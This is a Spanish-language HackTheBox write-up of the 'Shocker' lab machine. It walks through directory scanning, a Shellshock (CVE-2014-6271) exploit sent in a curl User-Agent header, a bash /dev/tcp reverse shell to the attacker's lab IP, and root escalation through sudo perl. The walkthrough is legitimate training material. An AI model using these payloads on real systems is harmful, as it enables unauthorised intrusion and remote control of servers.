Writeup HTB - Maquina Shocker

2 minute read

HTB - Shocker

Resumen

La maquina Shocker es una maquina linux - Easy, comenzamos escanendo directorios de una pagina web, encontramos el directorio cgi-bin donde logramos encontrar un script llamado user.sh, dicho script puede ser explotable a la vulnerabilidad ShellShok que nos permite ejecutar comandos como el usuario Shelly. Por ultimo logramos escalar privilegios como root abusando de los permisos de sudo con el binario perl.

Scan Nmap

Untitled

Pagina Web - Port 80

lo primero que hacemos es revisar la pagina web de esta maquina, pero solo encontramos un imagen divertida con un mensaje de Don’t Bug Me!

Untitled

realizamos un escaneo de directorios y solo encontramos el directorio cgi-bin, dicho directorio se utiliza para alojar programas que son utilizados para ejecutar tareas en el servidor.

Shocker # ❯ dirsearch -u http://10.129.1.175 -w /usr/share/wordlists/dirb/common.txt -f -e php,html,js,txt,save,bak -t 200

Untitled

Por lo tanto hagamos un escaneo a dicho directorio con las siguientes extensiones

Shocker # ❯ dirsearch -u http://10.129.1.175/cgi-bin/ -w /usr/share/wordlists/dirb/common.txt -f -e sh,cgi,pl -t 200

Untitled

probamos que arroja dicho script user.sh

Shocker # ❯ curl -s http://10.129.1.175/cgi-bin/user.sh                  
Content-Type: text/plain

Just an uptime test script

 11:42:43 up  2:25,  0 users,  load average: 0.00, 0.00, 0.00

Explotacion vulnerabilidad Shellshock

Primero vamos a aclarar que el nombre oficial de esta vulnerabilidad es GNU Bash Remote Code Execution Vulnerability (CVE-2014-6271) y está considerada como grave, tal y como sucedió con Heartbleed, ya que permitiría la ejecución remota de código y así obtener el control de un ordenador.

El problema con esta vulnerabilidad se viene produciendo porque Bash permite declarar funciones (algo que tampoco es extraño y entra dentro de lo normal), pero estas no se validan de forma correcta cuando se almacenan en una variable. En otras palabras: Bash se pasa de la raya, extralimita sus funciones y sigue ejecutando código a pesar de haber finalizado de procesar la función.

Asi pues explotamos dicha vulnerabilidad de la siguiente manera

curl -H "user-agent: () { :; }; echo;echo; /bin/bash -c 'id'" http://10.129.1.175/cgi-bin/user.sh

Untitled

Reverse shell - User shelly

para obtener una reverse shell podemos un puerto 443 en escucha con netcat

Untitled

ejecutamos este payload

Shocker # ❯ curl -H "user-agent: () { :; }; echo;echo; /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'" http://10.129.1.175/cgi-bin/user.sh

y logramos conectarnos a una reverse shell con el usuario shelly

Untitled

Escalacion de privilegios - User root

si revisamos los permisos de sudo

shelly@Shocker:/usr/lib/cgi-bin$ sudo -l

Untitled

logramos escalar privilegios como root de la siguiente manera

shelly@Shocker:/usr/lib/cgi-bin$ sudo /usr/bin/perl -e 'exec "/bin/sh";'

Untitled